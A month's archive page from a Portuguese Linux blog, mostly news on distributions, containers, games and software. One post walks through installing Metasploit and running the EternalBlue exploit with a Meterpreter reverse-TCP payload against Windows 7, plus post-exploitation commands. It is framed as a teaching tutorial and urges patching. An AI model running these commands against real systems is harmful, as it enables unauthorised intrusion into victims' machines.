Abril 2019 - Diolinux - O modo Linux e Open Source de ver o Mundo

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Como containers, dockers, kubernetes e Openshift podem ajudar na escalabilidade das suas aplicações

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terça-feira, 30 de abril de 2019

Hoje em dia, as tecnologias de containers, como docker, kubernetes e OpenShift estão em alta para quem está imerso no universo de TI, como analistas de sistema, analistas de TI, analistas de redes e entre outros. Muitos já ouviram falar destes termos, mas ainda não tiveram a oportunidade de entender, de uma forma simples,  o que cada um faz e como funciona. Pensando nisso, Rafael Araújo, gerente Técnico de Contas da Red Hat Brasil, vai explicar “tin tin por tin tin” de cada tecnologia.


 Como containers, dockers, kubernetes e Openshift podem ajudar na escalabilidade das suas aplicações






Vamos começar pelos containers. Essa tecnologia permite que uma aplicação rode de forma encapsulada em locais nos quais o código, bibliotecas e todas as suas dependências são carregadas e executadas de forma independente.

Tecnologia de containers


Existem várias implementações de containers. A mais utilizada e conhecida é o docker, plataforma open source escrita em Go, uma linguagem de programação de alto desempenho, que facilita a criação e administração de ambientes isolados.

O docker possibilita o empacotamento de uma aplicação ou ambiente inteiro dentro de um container, tornando esses dados portáveis para qualquer outro host que contenha o docker instalado. Isso reduz drasticamente o tempo de deploy de infraestrutura ou até mesmo aplicação, pois não há necessidade de ajustes de ambiente para o correto funcionamento do serviço. O ambiente é sempre o mesmo: uma vez configurado, pode ser replicado quantas vezes forem necessárias.
Entre os principais elementos do docker, estão os containers, user-spaces segregados que permitem a execução de aplicações de forma isolada em um mesmo sistema operacional. As imagens, template (read-only) que contém todas as informações que o container irá carregar em sua execução como, por exemplo, o SO, as bibliotecas da aplicação e a própria aplicação. E ainda os registries, repositórios de imagens que podem ser públicos ou privados, e o dockerfile, um arquivo em texto com uma série de comandos necessários para a criação de uma imagem, seguindo uma estrutura pré-definida.

Gerenciamento dos containers


Conforme o ambiente de containers cresce e outras necessidades surgem como, por exemplo, alta disponibilidade, escalabilidade e segurança, a complexidade de administração aumenta. E aí entram ferramentas para orquestrar e gerenciar o ambiente de containers, como os kubernetes, uma solução open source que permite o deployment automático de containers docker, além de facilitar seu gerenciamento, oferecendo escalabilidade e adicionando inteligência ao ambiente de containers.


Kubernetes e Openshift


O kubernetes é uma ferramenta muito poderosa, mas para alguns pode parecer um pouco complicada de gerenciar, por ser administrada via linha de comando e arquivos de configuração. Mas, calma! Há sempre outra opção que, nesse caso, é o Openshift.



O Openshift é uma ferramenta de orquestração e gerenciamento de containers baseada no kubernetes, que facilita e adiciona ainda mais inteligência ao ambiente, permitindo colocar as aplicações para “rodar” sem muita complexidade.




Além disso, traz uma série de funções adicionais que o kubernetes por si só não oferece.
Todas essas ferramentas são fundamentais para contribuir com a orquestração dos containers, ajudando a escalar mais rapidamente suas aplicações. Encontre as que mais se encaixam com seu projeto e comece agora mesmo!

Este artigo não acaba aqui, continue trocando uma ideia lá  no nosso fórum.

Espero você até a próxima, um forte abraço.

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Ubuntu 14.04 LTS chega ao "fim da vida"

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segunda-feira, 29 de abril de 2019

Como noticiamos no ano passado, a Canonical, empresa que mantém o Ubuntu, estava planejando o “fim da vida” do Ubuntu 14.04 LTS para a grande maioria dos seus clientes e que pretendia oferecer um serviço EMS (Extended Security Maintenance) para quem precisasse usar tal versão do Ubuntu quando o mesmo perdesse o seu suporte tradicional, isso acontecerá em 30 de Abril de 2019.

 Ubuntu 14.04 LTS chega ao "fim da vida"






Como falamos naquele artigo, a Canonical já estava informando os usuários desta versão do Ubuntu que o suporte iria se encerrar em Abril de 2019, orientando aos utilizadores que fizessem o upgrade para a versão 16.04 LTS do Ubuntu, para que eles pudessem ter mais tempo de suporte, ou mesmo para a versão 18.04 LTS.

Vamos lembrar que o Ubuntu 14.04 LTS foi lançado em 17 de Abril de 2014 e contou com 5 anos de suporte.

No comunicado feito no oficial blog, a empresa comenta o seguinte:

“A disponibilidade do ESM para o Ubuntu 14.04 significa que o fim da vida do Ubuntu 14.04 LTS Trusty Tahr em Abril de 2019 não deve impactar negativamente os esforços de segurança e conformidade de uma organização. A Canonical coloca a segurança no coração do Ubuntu, em nossas práticas, processos, conformidade e na arquitetura de nossos produtos.”

A Canonical também colocou um link de contato para que essas empresas e organizações que precisam adquirir maior tempo de suporte, possam facilmente se comunicar e fazer a solicitação.. Para maiores informações clique aqui.

Espero você no próximo post, forte abraço.

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Novo Deepin 15.10 lançado usando tecnologia do KDE

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Quem conhece o meu projeto OSistemático, sabe que nutro um grande apreço pela distribuição, e mesmo depois de várias mudanças e decisões (que eu não concordo nem um pouco) a distro continua com um espacinho em meu peito.

A cada update o Deepin recebe mudanças, sejam elas visuais ou por debaixo do capô, e desta vez não foi diferente.

deepin15.10-deepin-debian-stable-unstable-kde-dde-qt-linux

Como de costume, uma nova atualização do Deepin, significa várias correções de bugs realizadas. E isso sempre é recorrente, conforme um novo lançamento. Irei pautar a seguir apenas as mudanças mais significativas, e caso queira ver a fundo as mudanças e correções de falhas no sistema, acesse o pronunciamento oficial do Deepin.

Deepin em uma base mais conservadora


O Debian é conhecido por ser o "sistema universal", que roda até em batata (😅😅😅), entretanto outra característica atribuída ao mesmo é a de grande estabilidade, isso por sua rigorosa política de empacotamento, atualizações e mudanças. E o Deepin é baseado no mesmo, no entanto as versões anteriores tinham como base o Debian Unstable, que é considerado menos estável, porém com pacotes não tão "congelados". Eis que a versão 15.10 do Deepin muda sua base para o Debian Stable, considerado a versão mais estável do sistema.

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E é isso que a equipe de desenvolvimento do Deepin espera, um sistema mais estável e seguro, que beba direto da fonte do famoso Debian Stable. Todavia essa mudança pode não agradar a todos os públicos (me incluo junto a esses ☝), afinal isso pode significar versões de bibliotecas e drivers mais antigas, e para um gamer, ter as últimas versões dos drivers no sistema é quase que uma lei.

Desde sua mudança de base do Ubuntu para o Debian, o Deepin perdeu algumas características interessantíssimas que o Ubuntu proporciona. Uma delas é a possibilidade da adição do PPA do Mesa Drivers e do PPA dos drivers da NVidia. Claro que você pode tentar instalar um "PPA no Debian" ou baixar a versão do driver direto do site da Nvidia no Deepin, mas como diria o grande "O Cara do TI", "isso vai ser um parto" (😂😁😂).

Novos recursos no DDE


A interface do Deepin recebeu novidades, e mudou algumas formas de uso, uma delas é a possibilidade de organizar a área de trabalho de forma, "quase que mágica".

Essa nova opção "mesclar automaticamente", agrupa os arquivos distribuídos na área de trabalho conforme seu tipo em pastas de nome: Documentos, Músicas, Imagens , Vídeos, Aplicativos e Outros. A inspiração é claramente feita em cima do recurso apresentado pela Apple no último macOS.

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Outra adição, foi o aprimoramento da sua barra lateral que agrupa opções. Desta vez a categoria em que agrupa os efeitos sonoros do sistema, recebeu vários "interruptores" em cada opção de som. Assim você pode escolher se determinado efeito sonoro será ativado ou não, isso vale para sons de inicialização, esvaziamento da lixeira, notificações do sistema, entre outros, assim como temos no ambiente gráfico Cinnamon.

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Os wallpapers também receberam uma atenção, como esperado, a equipe do Deepin sempre tem um bom gosto para papéis de parede. Agora o sistema conta com a possibilidade de exibir um slide dos seus wallpapers, trocando em determinado tempo as imagens de fundo. Anteriormente era necessário uma aplicação de terceiros para tal comportamento ser reproduzido no sistema.

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Novo gerenciador de janelas


Se você não sabe o que é um gerenciador de janelas, basicamente ele é quem "desenha" as janelas, adiciona os efeitos e tudo mais em que você vê em sua tela ("resumindo de forma muito resumida" 😋😋😋)

E o Deepin decidiu deixar seu antigo gerenciador de janelas o deepin-wm e fazer um fork do gerenciador de janelas do KDE Plasma o kWin. Podemos perceber que conforme o tempo passa, o Deepin se aproxima mais e mais do "lado Qt da força", e agora com seu novo gerenciador de janelas dde-kWin, o mesmo pretende ter um menor consumo de RAM e maior velocidade nas tarefas.

Contudo essa mudança de deepin-wm para dde-kWin, ocasionou em uma alteração em seu comportamento no multitask e desktops virtuais, tirando um pouco de sua beleza e organização. Caberá aos usuários do sistema adaptarem com essa nova forma de multitask e desktops virtuais.

deepin15.10-deepin-debian-stable-unstable-kde-dde-qt-linux-dde-kwin

O Deepin é um sistema que sempre esperamos um upgrade visual, e por sempre as expectativas estarem altas, alguns pontos podem lhe decepcionar e outros podem chamar a sua atenção, enfim, veja logo abaixo o vídeo promo do Deepin 15.10, com tal demonstração poderá ver na prática essas mudanças visuais.


Baixe a iso do Deepin 15.10 em seu site oficial.


E você curte o Deepin? Que tal continuarmos esse assunto lá no fórum Diolinux Plus

Até o próximo post, SISTEMATICAMENTE! 😎

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Microsoft comemora “dia do Pinguim” com Linux

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sexta-feira, 26 de abril de 2019

Aos longínquos anos 90 e começo dos anos 2000, a Microsoft via o Open Source e o Linux como inimigos a serem “abatidos e eliminados”, de fato, em certa época Steve Ballmer, então CEO, chegou a falar que o Linux era um “câncer” para a MS. Anos depois a empresa mudou bastante neste sentido, especialmente à partir de 2016.


 Microsoft comemora “dia do Pinguim” com Linux





Feito esse parênteses, hoje a Microsoft é mais próxima ao Open Source e do Linux, tanto que tem o Azure, o WSL e alguns apps portados para a plataforma, como o Skype e o Visual Studio Code. E quem sabe o navegador Edge e talvez o Microsoft Office 365, falaremos mais adiante.

Em referência ao #WorldPenguinDay (ao bicho mesmo), a conta de oficial da Microsoft que “cuida” da divulgação Open Source da empresa, fez um Tweet aproveitando a a oportunidade e “chamando” a comunidade a compartilhar quais projetos Open Source as pessoas mais gostavam:



Vários projetos foram mencionados, como o GNOME, KDE, Manjaro, Ubuntu, Pop!_OS, entre outros, como você pode ver na tread do Tweet acima.

Mas um comentário me chamou a atenção e a resposta a ele. O usuário Raywon Teja Kari, perguntou quando veríamos um porte do Microsoft Office 365 para Linux. E a conta da Microsoft respondeu, informando que ele deveria entrar no UserVoice do Office 365 e votar para isso, mais ou menos como aconteceu no caso da Adobe.



Se você quiser votar e ajudar a trazer o Microsoft Office 365 para o Linux, basta acessar aqui.

Um “ponto negativo”, pelo menos para mim, foi a ausência de empresas grandes do setor, como Canonical, IBM/Red Hat e a Suse (até o fechamento desta edição, elas não interagiram com o tweet, somente foram mencionadas)

Mas, tirando isso, acho muito importante essa guinada da Microsoft nesses últimos anos em apoiar o Linux e o OpenSource, isso mostra que o mesmo pode ser mais um aliado do que “um câncer a ser combatido”.

Este artigo não acaba aqui, continue trocando uma ideia lá  no nosso fórum, aproveite e conte pra gente qual o seu projeto Open Source favorito e viva o pinguim!

Espero você até a próxima, um forte abraço.

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Como configurar de forma fácil a sua webcam no Linux

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Hoje em dia, muitos gostam de se comunicar através de vídeos, pode ser no seu desktop ou no notebook, para isso utilizando uma webcam. Porém para ter uma imagem no mínimo satisfatória, precisamos fazer algumas configurações. No entanto como os softwares das webcams ainda não tem uma versão para Linux, existe uma ferramenta poderosa para isso, o GUVCVIEW.

Como configurar de forma fácil a sua webcam no Linux






O Nome completo do projeto é GTK+ UVC Viewer, segundo o site do desenvolvedor, visa trazer uma interface simples e de fácil configuração. Ele usa GTK3 ou QT5, dependendo de como for compilado pela distro e interface gráfica.

O GUVCVIEW pode ser facilmente instalado, em sua distro favorita, basta digitar “guvcview” na sua loja de programas ou instalar via terminal. Para maiores informações de download, você pode acessar este link deles.




Caso queira saber de mais funcionalidades e de como mexer no programa, fizemos um vídeo lá no canal mostrando, ta bem bacana. Confira o vídeo logo abaixo.

              


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Espero você até a próxima, um forte abraço.
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Ubuntu MATE 19.04, o Ubuntu para notebooks híbridos (Intel+NVIDIA)?

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quarta-feira, 24 de abril de 2019

Como não poderia deixar de faltar, uma das flavours do Ubuntu e que se tornou “queridinha” da comunidade por sua leveza e personalização, o Ubuntu MATE chega também na versão 19.04 com uma grande novidade, suporte facilitado a notebooks híbridos com GPUs Intel+NVIDIA, além de outros updates no projeto. Vamos conferir.


 Ubuntu MATE 19.04, o Ubuntu para notebooks híbridos (Intel+NVIDIA)?






Começaremos com o projeto MATE e as ferramentas ligadas a ele, como o MATE Desktop, Applet MATE Dock, Caja e afins.


O Ubuntu MATE 19.04 vai vir ainda com o MATE Desktop 1.20.4 com as últimas correções fornecidas pela equipe. Eles mencionaram que não estão enviando com a versão 1.22 por causa de estabilidade em novas funcionalidades que ainda precisam de “lapidação”.

Nesta versão do MATE, agora tem suporte a telas com HiDPI, com detecção automática e com escalonamento. Suporte ao Menu Global (presente por muito tempo no Unity7). O gerenciador de arquivos Caja, que encontra-se na versão 1.20 com melhorias no seu código e correções de bugs pontuais. O MATE 1.22 entrará no próximo ciclo de desenvolvimento, que será do Ubuntu MATE 19.10. Para maiores detalhes do MATE 1.20, você pode conferir aqui.

Outro aplicativo do projeto MATE que recebeu um update, foi o Applet MATE Dock, aplicativo esse que “simula” outras interface gráficas, como a do Windows, macOS e do ”finado” Unity 7. Agora ele está na versão 0.88.

Drivers da NVIDIA e notebooks híbridos


Essa novidade do Ubuntu MATE 19.04 me pegou de surpresa. Depois da entrevista do Alexandre Ziebert da NVIDIA, dizendo que a Microsoft tinha “tomado” para si a responsabilidade de fazer a comutação e tudo mais no “mundo das híbridas”, pensei seriamente que algo parecido não chegaria ao Linux, ou que demoraria muito tempo. Ainda bem que eu estava enganado. (emoji de sorriso)

Na entrevista do Will Cooke aqui para o blog, ele disse que a Canonical está de olho neste nicho e que ele carecia de ferramentas melhores na hora da instalação. E não é que veio mesmo…

Ainda que no Ubuntu “normal” você precise ativar depois da instalação (e isso não é um bicho de 8000 milhões de cabeças), o Ubuntu MATE preferiu “cortar caminhos” e assim já ativar na instalação. Quando você estiver instalando o sistema, basta habilitar a seguinte opção “Instalar software de terceiros para gráficos e hardware Wi-Fi”, e o sistema fará o restante.



Logo depois da instalação, se você quiser confirmar se o Driver da NVIDIA está instalado corretamente, basta abrir o terminal e digitar “nvidia-smi”. Além disso, o Ubuntu MATE vai adicionar um applet gráfico, onde você poderá escolher a GPU que quer usar. O nome do applet é MATE Optimus




Sinceramente, isso é muito bom e animador para quem tem notebooks híbridos (Intel+Nvidia) como eu,  que até o momento passava alguns apuros para utilizar o Pinguim, apuros esses que são contornáveis mas que hoje exigem certos ajustes manuais. Sei que muitos vão falar do Bumblebee, primus, bbswitch, optirun e primusrun, mas como podemos ver na imagem abaixo, somente o Bumblebee teve uma “movimentação” recente enquanto os outros projetos (tirando o optirun e primusrun) ainda estão parados, e usá-los em GPUs mais novas é bem problemático. Espero que a Canonical dê este “ponta pé inicial” no Linux, juntando forças com a NVIDIA também, assim trazendo a tecnologia por completo.




Para baixar o Ubuntu 19.04 basta clicar neste link, e o post deles fazendo o anúncio pode ser conferido aqui.

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Nubank testa novo recurso para NuConta

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A praticidade de ter o controle e acessar seus dados bancários em tempo real, é uma das facilidades dos bancos digitais, a cada dia essas plataformas como Banco Inter e até mesmo o Nubank com sua NuConta, vem ganhando mais e mais usuários.

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A NuConta é uma conta digital oferecida pela Nu Pagamentos, empresa responsável pelo Nubank.

Atualmente donos do famoso “roxinho” podem solicitar uma NuConta, que oferece uma “conta corrente”, não estranhe as aspas. Isso é pelo fato que tecnicamente a NuConta não é nem uma conta corrente e nem poupança. Ela é uma modalidade de conta chamada “conta de pagamentos”, que permite a aplicação do dinheiro depositado em Títulos Públicos Federais, rendendo 100% do CDI (que resumindo bastante, é um taxa que determina o rendimento anual de diversos tipos de investimento). A função de débito já está habilitada aos clientes, e em breve o NuBank pode se tornar um banco como o BMG e Banco Inter.

Na última semana o Nubank passou a testar, junto a um número pequeno de usuários, uma nova funcionalidade para sua NuConta. A de separar uma quantia em dinheiro dentro da própria conta.

Esse recurso visa simplificar e não confundir os usuários que utilizam a NuConta de duas maneiras, tanto para movimentar dinheiro como para guardá-lo.

Essa nova função chama-se “Guardar Dinheiro”, assim possibilitando que dentro da mesma NuConta possa fazer essa distinção, entre o dinheiro que será movimentado e o que será guardado. Com isso os usuários poderão ter melhor controle de suas finanças e caso queiram utilizar esse dinheiro guardado, terão que fazer uma transferência a sua própria NuConta, podendo assim utilizar normalmente esse dinheiro.

guardar-dinheiro-nuconta-nubank-cartao-credito-aplicativo-app-conta-digital

Vale lembrar que sua retirada (por meio dessa “transferência interna”) poderá ser realizada em qualquer momento, sem valor adicional. O valor guardado também rende 100% do CDI.
 
No momento pouquíssimos usuários têm essa funcionalidade habilitada, entretanto espera-se que em pouco tempo os demais comecem a receber tal novidade.

E você, gostou dessa feature? Possui uma NuConta? Ou prefere bancos tradicionais?

Continue essa discussão em nosso fórum Diolinux Plus.

Te aguardo até o próximo post, SISTEMATICAMENTE! 😎

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Ubuntu 19.10 disponível para download, em fase inicial

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Lançado há pouquíssimo tempo, acesse nossa cobertura sobre o Ubuntu 19.04, o Ubuntu parece estar atraindo novamente olhares para as mudanças que vem promovendo. O tão aguardado Ubuntu 20.04 LTS se aproxima, entretanto versões intermediárias devem ser lançadas, o 19.04 que está aí esbanjando mudanças, eis que os olhares começam a vislumbrar o Ubuntu 19.10.

ubuntu19.10-eoan-daily-build

As “Daily Builds” do Ubuntu 19.10 já estão disponíveis para testes, claro que por se tratar de versões diárias, eventuais bugs são esperados. 

Neste estágio inicial o Ubuntu 19.10 não terá mudanças aparentes, comparado ao seu antecessor 19.04, no entanto ao decorrer dos meses essa disparidade pode se tornar facilmente visível.

Ubuntu 19.10 em desenvolvimento inicial


Sem uma data confirmada para seu lançamento, se o mesmo seguir a lógica dos demais uma versão beta deve ser lançada em meados de Outubro, o Ubuntu 19.10 ao menos tem um codinome definido. Sabemos que a próxima letra será a “E”, após o “D” da versão Ubuntu 19.04 (Disco Dingo).

Em primeiro momento o Ubuntu 19.10 está sendo baseado em sua recém versão lançada, acompanhando o Kernel 5.0 e o Gnome-Shell 3.32, mas sabe-se que a versão 19.10 será lançada com o Gnome-Shell 3.34.

Por ser a última versão, antes da 20.04 LTS, o Ubuntu 19.10 é aguardado com anseio por usuários do sistema.

Download do Ubuntu 19.10


Esteja ciente que esta versão é uma compilação diária em desenvolvimento inicial. Caso deseje efetuar o download do Ubuntu 19.10, instale o mesmo em uma máquina virtual ou algum computador de testes. Nunca faça isso em ambiente de produção. Dada às ressalvas, fique a vontade para baixar e testar o Ubuntu 19.10.

 Download Daily Build Ubuntu 19.10

E você, ansioso pelo Ubuntu 19.10? Até o momento a única parte de seu codinome que sabemos é o adjetivo “Eoan”, o nome do animal ainda é um mistério.

Faça parte de nosso fórum Diolinux Plus, e fique por dentro das novidades e discussões sobre o tema.

Até o próximo post, te espero aqui, SISTEMATICAMENTE! 😎

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Kubuntu 19.04 é lançado e conta com novidades na versão

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terça-feira, 23 de abril de 2019

Assim como o irmão “famoso”, o Ubuntu e que fizemos uma cobertura bem ampla, tanto com uma nota de lançamento quanto uma matéria de um “pós install”, agora chega a vez de falarmos da versão que usa como base o KDE.


Kubuntu 19.04 é lançado e conta com novidades na versão






O Kubuntu é uma das flavours que muitos indicam para quem chega do Windows ao mundo do Linux, pela sua semelhança de interface, o KDE Plasma, e assim facilitando a adaptação de novos usuários. Agora o Kubuntu também recebe melhorias, além da versão base que é o Ubuntu, e conta com alguns updates. Confira.



A primeira das novidades, é o upgrade do conjunto de aplicativos que usam o KDE ou KDE Applications, que chegam na versão 18.12.3. E os aplicativos que englobam esse conjunto são:

Gerenciador de Arquivos Dolphin; Busca de arquivos KFind; Gerenciador de e-mails KMail; Leitor de PDF Okular; Editor de Textos Kate; Terminal Konsole; Visualizar de Imagens Gwenview entre outros. Para ver a lista completa deles basta acessar este link.



As principais novidades, ficam relacionadas ao KDE Plasma e ao Kernel, são elas:

- KDE Plasma 5.15.4;

- Kernel 5.0.0;

- KDE Frameworks 5.56;

- QT 5.12;

- Updates nas versões dos programas Krita, Kdeconnect, Kstarts, Latte-dock, Mozilla Firefox 66.0, LibreOffice 6.2.2 e melhorias na estabilidade do KDE Plasma.

Para baixar a imagem ISO do Kubuntu 19.04, basta acessar este link.

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Como Acessar o Windows pelo Linux com Metasploit

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O Metasploit é uma ferramenta usada por pentesters para avaliar as capacidade de segurança de um sistema, fazer invasões e também detectar intrusos. É uma ferramenta muito comum em distribuições Linux voltadas para este meio, como o Kali Linux. Hoje você vai conhecer uma de suas facetas. 

Metasploit







Metasploit é um projeto de segurança da informação que fornece informações sobre vulnerabilidades de segurança e ajuda nos testes de penetração. É de propriedade da empresa de segurança Rapid7, de Boston, Massachusetts, que possui diversos softwares (Opcode - Banco de Dados ; e o Shellcode , que executa comandos de Shell Script... ), entre eles o mais conhecido é o Metasploit Framework, um software de código aberto para explorar falhas de uma máquina remota.

O Metasploit possui 6 tipos de módulos (auxiliaryexploitpayloadpostencoder e nop) . No vídeo apresentado por nós, vamos utilizar o Meterpreter que é um payload avançado.

Instalação


Existem diversas maneiras de você instalar o Metasploit Framework. Baixando diretamente pelo site  ou pelo GitHub

Para quem gosta de fazer manualmente, é possível instalá-lo via gerenciador de pacotes da sua distribuição, por exemplo, na distribuição Ubuntu, Linux Mint, Debian e derivados basta realizar os comandos abaixo:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall
sudo ./msfinstall
msfdb init


E pronto, o Metasploit está pronto para uso! 

Lembrando que em algumas distribuições já possuem o Metasploit instalado por padrão, como o Pentoo e o Kali Linux, entre  outras criadas especialmente para testes de invasão.

O Próximo passo é rodar o Metasploit por este comando:

msfconsole

Isso irá abrir o framework, e em seguida usaremos o Meterpreter para acessar o Windows , basta rodar os comandos abaixo na ordem:


use exploit/windows/smb/ms17_010_eternalblue
set RHOST NÚMERO_IP_DA_MÁQUINA_WINDOWS
set payload windows/x64/meterpreter/reverse_tcp
set LHOST NÚMERO_IP_DA_SUA_MÁQUINA
set encoder generic/none
exploit


Lembrando que esses comandos são "a grosso modo", e servem para Windows 7 Service Pack 1 , para outras versões assista o vídeo com link abaixo que há mais detalhes para variados casos.

Após acessar você pode obter informações detalhadas do sistema com o comando sysinfo; tirar um print da tela com o comando screenshot ; saber qual diretório você está com o comando pwd a saída será algo do tipo *c:32* ; desligar, reiniciar,... entre vários  comandos  que podem ser  consultados  pelo comando help .

Confira o exemplo no vídeo:



Esse artigo e o vídeo apresentado foram criados com finalidade didática, mantenha o seu Windows atualizado para evitar ser exposto a coisas do tipo. A falha explorada neste exemplo, por exemplo, já foi corrigida pela Microsoft, daí a importância de manter os sistemas sempre atualizados.

Se você ainda não domina Shell Script e o Terminal Linux. Aproveite uma promoção onde você pode adquirir 5 cursos de terminal Linux, incluindo Shell Script, Expressões Regulares, Vim e Sed. 

Clicando nesse link http://bit.ly/Promo5pg para adquirir com o PagSeguro ou nesse link http://bit.ly/5CursosLinux para adquirir com o PayPal. Se quiser mais detalhes da promoção veja essa postagem: 5 Cursos do Terminal Linux para você !

Esse artigo foi escrito em parceria com a galera do Terminal Root, os quais são os autores dos cursos mencionados acima, até a próxima!_____________________________________________________________________________
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SuperTuxKart 1.0 lançado com modo online e novidades!

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segunda-feira, 22 de abril de 2019

A versão estável “1.0” do SuperTuxKart é lançada! E repleto de novidades, como o tão aguardado modo multiplayer online. Para quem já é jogador assíduo do game, e está se “remoendo” e dizendo: “Eu já jogava online!”, porém esse modo na época estava em beta, e não vinha em nenhuma versão stable do jogo, agora vem…

supertuxkart-tux-mario-kart-jogo-corrida-linux-gratuiro-opensource-software-livre

Conhecido por muitos como “O Mario Kart do Pinguim”, o SuperTuxKart é fortemente inspirado no game de kart do encanador bigodudo, com diferenciais e personagens marcantes do mundo Open Source/Livre. Como o Tux, mascote do Linux, Wilber, mascote do GIMP, Daemon, o famoso “diabinho” do BSD entre outras figuras icônicas.


Corridas no multiplayer online


Além do multiplayer local, já conhecido do game, o modo online proporciona uma jogatina tanto em salas públicas quanto em privadas, caso você ou algum amigo seja o host da partida.

A quantidade de jogadores num mesmo servidor são de 10 players. Uma conexão estável e ping baixo é requerido para o host, caso contrário não será incomum ver karts sumindo e aparecendo do nada (👻👻👻).

Novas pistas e aprimoramento dos karts


Particularmente sou um jogador (quase que compulsivo) de Mario Kart, indiferente da versão (😁💓🚘), e para quem curte o jogo da Nintendo, perceberá que mesmo sendo “inspirado” no game mais famoso de corrida de kart, o SuperTuxKart não é uma cópia genérica, possuindo vários diferenciais.

Começando por seus modos de jogo. Você poderá se divertir com o modo clássico de corrida, praticar correndo contra o tempo, batalhar com seus amigos capturando bandeiras ou até mesmo jogando um “Rocket League” com mascotes do mundo Livre.

Os itens durante a corrida também possuem mecânicas únicas, por exemplo um que sempre me atrapalha é o “chiclete”. Oh! Itenzinho chato viu (😠😠😡).

Algo que me incomoda em SuperTuxKart, é o balanceamento dos karts no jogo e controle da gameplay, entretanto a equipe de desenvolvimento atentou-se a esses detalhes e aprimorou os mesmos, tornando-os mais equilibrados. Novas pistas também foram adicionadas e outras pequenas mudanças foram feitas.

SuperTuxKart ou Mario Kart?


A comparação não é a melhor possível, visto que a proposta é diferente. Por ser software livre o SuperTuxKart é acessível a todos que possuem um computador e que queiram se divertir sem gastar um tostão com seus amigos. Lembrando que existe uma versão Android, então a jogatina pode ser portátil. Outro ponto são os modos diferentes de jogos, como o de futebol e caça bandeiras, isso tudo sem levar em consideração os personagens como o próprio Tux.

Não me entenda mal , de forma alguma quero falar que o Mario Kart é inferior, longe de mim tal besteira, no entanto mesmo sendo um jogador mais hardcore de Mario Kart, indico o SuperTuxKart para jogadores casuais (não espere o mesmo nível de gráficos e tudo mais, comparado ao Mario Kart, o game visa outro público). Seja para jogar com seu filho, irmão, amigos ou cônjuge. Vários momentos engraçados irão surgir, experimente. 

Baixando o SuperTuxKart


Você pode adquirir o game de algumas maneiras, para quem usa Arch ou Manjaro, basta pesquisar por “supertuxkart” no AUR.

No caso de Ubuntu, Mint e derivados. Existe um PPA, com versões estáveis e candidates do jogo.

Para instalar via PPA, abra o terminal e digite os seguinte comandos:

sudo add-apt-repository ppa:stk/dev

sudo apt update

sudo apt install supertuxkart

Para adicionar o PPA via interface gráfica, eis um artigo com um bom exemplo.

Outros meios é via Snap ou Flatpak, entretanto até o momento, em que escrevo este artigo, a versão do game não foi atualizada.



Aprenda como configurar o Snap neste post, e Flatpak neste outro.

No entanto a forma que mais indico é a distribuída pela própria equipe de desenvolvimento do SuperTuxKart. Basta efetuar o download diretamente do SourceForge.

 Download SuperTuxKart 1.0

Depois de baixar o game, extraia o conteúdo do arquivo, no diretório que desejar, e execute o script “run_game.sh” para iniciar o jogo.

Se desejar executar o SuperTuxKart sem a necessidade do terminal, clique com o botão direito do mouse em cima do “run_game.sh”, vá em “Propriedades, depois na aba “Permissões” e marque a opção “Permitir execução do arquivo como um programa”. 

supertuxkart-tux-mario-kart-jogo-corrida-linux-gratuiro-opensource-software-livre-marcar-execução-programa

A seguir instale o programa “Menu Editor”.

Você pode fazer via terminal com o comando:

sudo apt install menulibre

Ou pesquisar na loja por “Menu Editor

menulibre-editor-menu-linux

Abra o Menu Editor, selecione alguma categoria (a de jogos é a indicada). Clique no primeiro símbolo/botão, no meu caso é um “+”, em seguida na opção “Adicionar Lançador”.

Preencha como na imagem abaixo, e na opção “Comando”, clique no ícone de pasta e vá até o arquivo “run_game.script”, selecione o mesmo. Escolha um ícone ao seu gosto.

menulibre-editor-menu-linux

Se existir alguma dúvida com o procedimento, veja o vídeo sobre o “Menu Editor”. O procedimento foi realizado no Deepin, entretanto é indiferente a distribuição.



A versão Android pode ser baixada diretamente da Google Play Store.

E você, já testou o modo online do SuperTuxKart? Se ainda não baixou, não perca tempo…

Acesse nosso fórum Diolinux Plus e encontre outros jogadores, para quem sabe marcar uma jogatina (😁😁😁).

Até o próximo post, SISTEMATICAMENTE! 😎

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Lançado o LibreOffice 6.2.3 com 90 bugs corrigidos

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O LibreOffice chegou na sua terceira versão de atualizações com correções de manutenção, chegando na versão 6.2.3 com várias melhorias, com o suporte aos arquivos .docx melhorado e mais algumas correções no código.


 Lançado o LibreOffice 6.2.3 com 90 bugs corrigidos






O LibreOffice, que é desenvolvido e distribuído pela The Document Foundation, é a suíte office que muitos têm contato e usam quando mudam para o Linux. 


A versão 6.2.3 contém 90 correções de bugs que foram relatados pela comunidade e implementadas nesta nova versão. Os bugs você pode ver aqui e aqui.

Ainda segundo o comunicado da The Document Foundation, para quem precisa fazer implementações em ambientes comerciais ou empresariais, é preferível utilizar a versão 6.1.5. Para o suporte neste tipo de ambiente, ele recomendam entrar em contato através deste link.



Você pode baixar o LibreOffice nos formatos .deb, .rpm, Snap, Flatpak e AppImage.

Para conferir o post completo da nova versão do LibreOffice, você pode acessar ele através deste link.

Este artigo não acaba aqui, continue trocando uma ideia lá  no nosso fórum.

Espero você até a próxima, um forte abraço.

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Epic Games Store agora roda no Lutris, e projeto ganha convite do Tim Sweeney

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sexta-feira, 19 de abril de 2019

Quando falamos em jogos e Linux na mesma frase, isso causa um certo “rebu” nos comentários onde quer que seja, pode ser em redes sociais, blogs, sites e até no “boteco da esquina do Seu Linus”, mas parece que as coisas estão mudando e a famigerada frase “Linux não tem jogos” está cada vez mais com os “dias contados”. A próxima a ajudar isso pode ser a Epic Games.


Epic Games Store agora roda no Lutris, e projeto ganha convite do Tim Sweeney






Quando ela lançou a sua loja para vendas de jogos, fizemos um artigo abordando de forma mais completa e você pode conferir aqui, de forma resumida podemos pegar a declaração feita na época, que foi:

“Em breve lançaremos a Epic Games Store e vamos começar uma longa jornada para avançar na causa de todos os desenvolvedores. A loja será lançada com um conjunto de jogos, com uma curadoria manual para PC e Mac, depois será aberta de forma mais ampla para outros jogos e para o Android e outras plataformas abertas ao longo de 2019.”

Falando em plataformas abertas de jogos, o pessoal do Lutris estava desenvolvendo um script para a instalação da Epic Games Store, mas desde o lançamento da loja, o mesmo não funcionava de forma correta e assim ocasionando o famoso “pisca-pisca”, com,glitches na interface, quase impossibilitando a utilização, mas parece que isso terminou, ao menos por hora.

